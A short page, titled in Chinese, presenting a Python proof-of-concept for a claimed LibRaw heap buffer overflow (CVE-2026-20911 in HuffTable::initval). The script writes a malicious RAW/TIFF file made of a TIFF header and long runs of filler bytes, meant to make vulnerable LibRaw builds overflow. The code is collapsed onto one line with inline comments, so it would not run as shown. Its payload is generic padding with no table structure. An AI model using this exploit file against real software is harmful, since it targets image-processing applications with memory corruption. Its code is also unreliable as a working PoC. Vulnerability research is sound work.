CVE-2026-20911 LibRaw堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-20911: LibRaw HuffTable::initval Heap Overflow # This script generates a malicious file to trigger the vulnerability. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Simulate file header structure vulnerable in LibRaw header = b'\x49\x49\x2a\x00' # TIFF header (common in RAW) f.write(header) # Malicious HuffTable data to trigger initval overflow # Sending excessive data to overflow the heap buffer payload = b'\x00' * 0x10 + b'A' * 0x1000 f.write(payload) print(f"[+] Malicious file generated: {filename}") print("[+] Usage: Open this file with vulnerable LibRaw version.") if __name__ == "__main__": generate_malicious_file("cve_2026_20911_poc.raw")